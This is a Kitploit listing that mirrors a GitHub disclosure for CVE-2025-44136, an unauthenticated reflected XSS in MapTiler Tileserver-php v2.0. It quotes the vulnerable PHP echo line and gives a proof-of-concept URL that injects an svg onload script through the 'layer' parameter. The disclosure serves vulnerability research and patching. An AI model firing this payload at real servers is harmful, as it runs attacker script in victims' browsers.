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CVE-2025-44136 — Proof-of-concept exploit for unauthenticated reflected XSS in MapTiler Tileserver-php v2.0 via the 'layer' GET parameter, enabling arbitrary HTML/JS execution. | Kitploit
Tools/GitHubGitHub/mheranco/cve-2025-44136
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubmheranco/cve-2025-44136

CVE-2025-44136

Proof-of-concept exploit for unauthenticated reflected XSS in MapTiler Tileserver-php v2.0 via the 'layer' GET parameter, enabling arbitrary HTML/JS execution.

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24 months agoNot yet reviewed

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CVE-2025-44136

Unauthenticated XSS in MapTiler Tileserver-php v2.0.

Description

MapTiler Tileserver-php v2.0 is vulnerable to Cross Site Scripting (XSS). The GET parameter "layer" is reflected in an error message without html encoding. This leads to XSS and allows an unauthenticated attacker to execute arbitrary HTML or JavaScript code on a victim's browser.

https://github.com/maptiler/tileserver-php/blob/d0fdeaec69688dc500b652a23669d724d7d53df2/tileserver.php#L409

root@kitploit:~
 echo 'Server: Unknown or not specified dataset "' . $tileset . '"';

PoC

http://host/tileserver.php/wmts/x/1/1/asd?Request=x&layer=%3csvg+onload=alert(document.domain)%3e

Credits

Martin Herancourt

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